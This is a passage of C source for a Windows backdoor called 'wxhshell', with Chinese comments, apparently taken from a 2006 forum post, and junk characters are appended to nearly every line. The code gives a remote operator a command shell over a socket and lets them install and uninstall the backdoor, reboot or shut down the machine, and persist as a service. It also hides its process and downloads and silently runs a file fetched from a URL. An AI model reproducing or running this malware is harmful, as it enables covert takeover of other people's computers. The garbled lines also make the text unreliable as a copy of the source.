  yhJ@(tu.Gd  
  // 帮助 !,PWb3S  
  case '?': { LP=)~K<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /9X7A;O  
    break; wd6owr  
  } zuCSj~  
  // 安装 '+ ?X  
  case 'i': { \M-OC5fQv  
    if(Install()) jEwIn1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); khd4ue$  
    else : Dp0?&_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *zLMpL_  
    break; [F7hu7zY8  
    } uAk.@nfiEv  
  // 卸载 I1J-)R+  
  case 'r': { I^]nqK  
    if(Uninstall()) 9YGY,s x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4M T 7`sr  
    else rl.}%Ny  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '%;m?t% q  
    break; .\mj4*?/  
    } 2<6UwF  
  // 显示 wxhshell 所在路径 d zMb5puH  
  case 'p': { $~kA B8z  
    char svExeFile[MAX_PATH]; xD7]C|8o  
    strcpy(svExeFile,"\n\r"); +7a6*;\ y  
      strcat(svExeFile,ExeFile); u? EN  
        send(wsh,svExeFile,strlen(svExeFile),0); I=#$8l.*  
    break; {..6>fS  
    } C# pjmT_  
  // 重启 >mkFV@`  
  case 'b': { 9M ]_nPY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }0 ?3:A  
    if(Boot(REBOOT)) O0:q;<>z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E`J@h l$N  
    else { ]@TCk8d$0  
    closesocket(wsh); kf9X$d6   
    ExitThread(0); BLFdHB.$T  
    } 3$/IC@+  
    break; F[MFx^sT{  
    } R-14=|7a-  
  // 关机 j1Ezf=N6`  
  case 'd': { #z42C?V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ipz5H*  
    if(Boot(SHUTDOWN)) <naz+QK'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0`H# '/  
    else { vD4*&|8T#  
    closesocket(wsh); kT=8e;K  
    ExitThread(0); Hp?/a?\Xm  
    } :KO2| v\  
    break; P2Y^d#jO  
    } t,' <gI  
  // 获取shell 8Y?;x}  
  case 's': { n!(F, b  
    CmdShell(wsh); =H~j,K  
    closesocket(wsh); Ca\6vR  
    ExitThread(0); _cwpA#x`}  
    break; $xQL]FmS  
  } Gh$^{  
  // 退出 11lsf/IP  
  case 'x': { 45oR=At n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iQ{VY ^ 0  
    CloseIt(wsh); n`KY9[0U=  
    break; SAz   
    } W9)&!&<o  
  // 离开 8ipez/  
  case 'q': { ?# fQ~ s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /O9EQPm(  
    closesocket(wsh); 3a|\dav%  
    WSACleanup(); cZ06Kx..  
    exit(1); nP$9CA  
    break; 54/=G(F   
        } saAF+H/=  
  } \Cj B1] I  
  } wS*E(IAl  
*h|U,T7ew  
  // 提示信息 NO3/rJ6-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #1[u (<AS  
} He)%S]RLk  
  } ME dWLFf  
[gB+C84%%  
  return; u&NV,6Fj2[  
} ;);kEq/=P  
CWlw0 X  
// shell模块句柄 D]}G.v1  
int CmdShell(SOCKET sock) xfQ1T)F3g  
{ 26nx`w?j(  
STARTUPINFO si; Q;u pau  
ZeroMemory(&si,sizeof(si)); MJvp6n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^s=8!=A(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hQ i2U  
PROCESS_INFORMATION ProcessInfo; &o*A {  
char cmdline[]="cmd"; 7Wno':w8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  `]X>V,  
  return 0; &vJH$R  
} ]! dTG  
 J *yg&  
// 自身启动模式 q7!{?\T%  
int StartFromService(void) 9UkBwS`  
{ $k?>DP 4  
typedef struct !?XC1xe~R  
{ i$@:@&(~Y  
  DWORD ExitStatus; ZEQEx]Y  
  DWORD PebBaseAddress; RpK@?[4s  
  DWORD AffinityMask; O}P`P'Y|'  
  DWORD BasePriority; hc1N ~$3!G  
  ULONG UniqueProcessId; +%&yJ4-  
  ULONG InheritedFromUniqueProcessId; 74u&%Rj  
}   PROCESS_BASIC_INFORMATION; nEfK53i_  
?(PKeq6  
PROCNTQSIP NtQueryInformationProcess; 9z0p5)]n>  
y2v^-q3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pJ=#zsE0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #QPjk R|\  
;j7#7MN2_E  
  HANDLE             hProcess; u y+pP!<  
  PROCESS_BASIC_INFORMATION pbi; u!s2 BC0}N  
=-T]3!   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fs{*XKv&lH  
  if(NULL == hInst ) return 0; ibw;}^m(  
i?/qY&~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [RL9>n8f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G B^Br6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >eaaaq9B-  
3 {V>S,O3]  
  if (!NtQueryInformationProcess) return 0; $:6!H:ty  
5xBbrU;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H+#FSdy#  
  if(!hProcess) return 0; {_}I!`opr$  
I'Hf{Erw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x38 QD;MT  
 k'YTpO  
  CloseHandle(hProcess); *i,%,O96Nz  
6b,V;#Anj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0_/[k*Re  
if(hProcess==NULL) return 0; 7=uj2.J6  
2eogY#  
HMODULE hMod; K:M8h{Ua  
char procName[255]; m~|40)   
unsigned long cbNeeded; ]|@^1we  
hoP]9&<T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?0.NIu,,o  
wL1MENzp*z  
  CloseHandle(hProcess); K"6vXv4QO  
:0/ 7,i  
if(strstr(procName,"services")) return 1; // 以服务启动 ZcsZ$qt^  
V9vTsmo(  
  return 0; // 注册表启动 i%/+5gq  
} S/ *E,))m  
'"^'MXa  
// 主模块 t1".0  
int StartWxhshell(LPSTR lpCmdLine) |)&%A%m  
{ gR**@t=;j  
  SOCKET wsl; _!6jR5&r,  
BOOL val=TRUE; Gt1U!dP  
  int port=0; `uFdwO'DD  
  struct sockaddr_in door; c$,P ~W s'  
SBpL6~NW  
  if(wscfg.ws_autoins) Install(); ]d]]'Hk  
5R-6ji  
port=atoi(lpCmdLine); XSDpRo  
Y*^[P,+J*}  
if(port<=0) port=wscfg.ws_port; _w{Qtj~s|  
;jXgAAz7  
  WSADATA data; 9Na$W:P c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hM{bavd  
2T35{Q!=F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b-DvW4B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |=w@H]r  
  door.sin_family = AF_INET; S!UaH>Rh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BLttb  
  door.sin_port = htons(port); %4H%?4  
pkzaNY/q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UpG~[u)%@  
closesocket(wsl);  &HW9Jn  
return 1; fl(wV.Je|  
} ![1rzQvGDb  
]`K2 N  
  if(listen(wsl,2) == INVALID_SOCKET) { 2 nCA<&  
closesocket(wsl); E fDH6  
return 1; NOva'qk  
} =euni}7a  
  Wxhshell(wsl); nKY6[|!#  
  WSACleanup(); yAt ^;  
YWLj?+  
return 0; <YY14p  
t# i #(H  
} !a`&O-ye  
Sc0w.5m6  
// 以NT服务方式启动 HtFDlvdy]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i@yC-))bY  
{ G[=c Ss,  
DWORD   status = 0; b9krOe *j  
  DWORD   specificError = 0xfffffff; z_HdISy0  
CTb%(<r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _/|\aqF.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I,tud!p`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rp$'L7lrX  
  serviceStatus.dwWin32ExitCode     = 0; >6T8^Nt  
  serviceStatus.dwServiceSpecificExitCode = 0; +>,I1{u%&  
  serviceStatus.dwCheckPoint       = 0; ^[[P*NX3  
  serviceStatus.dwWaitHint       = 0; G\i9:7 `  
 R&&4y 7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (=0.inZ  
  if (hServiceStatusHandle==0) return; K1KreYlF  
LVGe]lD  
status = GetLastError(); l#o ~W`  
  if (status!=NO_ERROR) *@5@,=d  
{ CJ}%W#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :;}P*T*PU  
    serviceStatus.dwCheckPoint       = 0; i5Ggf"![  
    serviceStatus.dwWaitHint       = 0; ye&;(30Oq  
    serviceStatus.dwWin32ExitCode     = status; T)/eeZ$  
    serviceStatus.dwServiceSpecificExitCode = specificError; .#gzP2 [q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M3\AY30L  
    return; K?;DMUSY\  
  } #mdc[.  
0mE 0 j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -w2/w@&  
  serviceStatus.dwCheckPoint       = 0; SUiOJ[5,  
  serviceStatus.dwWaitHint       = 0; q V =!ORuj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |Cv!,]9:r  
} pK*TE5]  
E GU2fA7x  
// 处理NT服务事件,比如:启动、停止 A.SvA Yn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #qki  
{ Nn6%9PX_)  
switch(fdwControl) }j Xfb@`K  
{ BmT!aue  
case SERVICE_CONTROL_STOP: F9PxSk_\9  
  serviceStatus.dwWin32ExitCode = 0; i-1op> Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rcuz(yS8  
  serviceStatus.dwCheckPoint   = 0; Mx}gN:Wt  
  serviceStatus.dwWaitHint     = 0; Wtnfa{gP%  
  { .-zom~N-?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4W75T2q#  
  } M\j.8jG  
  return;  mh%VrA q  
case SERVICE_CONTROL_PAUSE: F59 TZI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }MySaL>  
  break; ~%oR[B7=|  
case SERVICE_CONTROL_CONTINUE: ^iA9%zp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %d @z39-;  
  break; 3]hWfj1m2  
case SERVICE_CONTROL_INTERROGATE: kJU2C=m@e2  
  break; e-;}366}  
}; T{ "(\X$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bA 2pbjg=  
} TeQV?ZQ#}  
/r 5eWR1G  
// 标准应用程序主函数 ceA9) {  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g(g& TO  
{ /Oono6j  
H,J8M{  
// 获取操作系统版本 !D6]JPX  
OsIsNt=GetOsVer(); NK+o1   
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6!o1XQr=Z  
AA_%<zK  
  // 从命令行安装 x-c"%Z|  
  if(strpbrk(lpCmdLine,"iI")) Install(); XW9!p.*.U  
fA-7VdR`R  
  // 下载执行文件 }JfjX '  
if(wscfg.ws_downexe) { yZ:qU({KhD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L];b< *d  
  WinExec(wscfg.ws_filenam,SW_HIDE); hZ3bVi)L\  
} }u|q0>^8  
Rcv9mj]l  
if(!OsIsNt) { E7hhew  
// 如果时win9x,隐藏进程并且设置为注册表启动 eyaNs{TV  
HideProc(); 8t`?#8D}  
StartWxhshell(lpCmdLine); V~bD)?M  
} ^8tEach  
else q4q6c")zp  
  if(StartFromService()) l:%GH  
  // 以服务方式启动 jpOp.  
  StartServiceCtrlDispatcher(DispatchTable); g`^x@rj`E  
else "b[5]Y{ U  
  // 普通方式启动 YqG7h,F  
  StartWxhshell(lpCmdLine); ]9L oZ)  
D$N /FJ8|G  
return 0; ,Q,^3*HX9}  
}
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只看该作者 1 发表于: 2006-10-10
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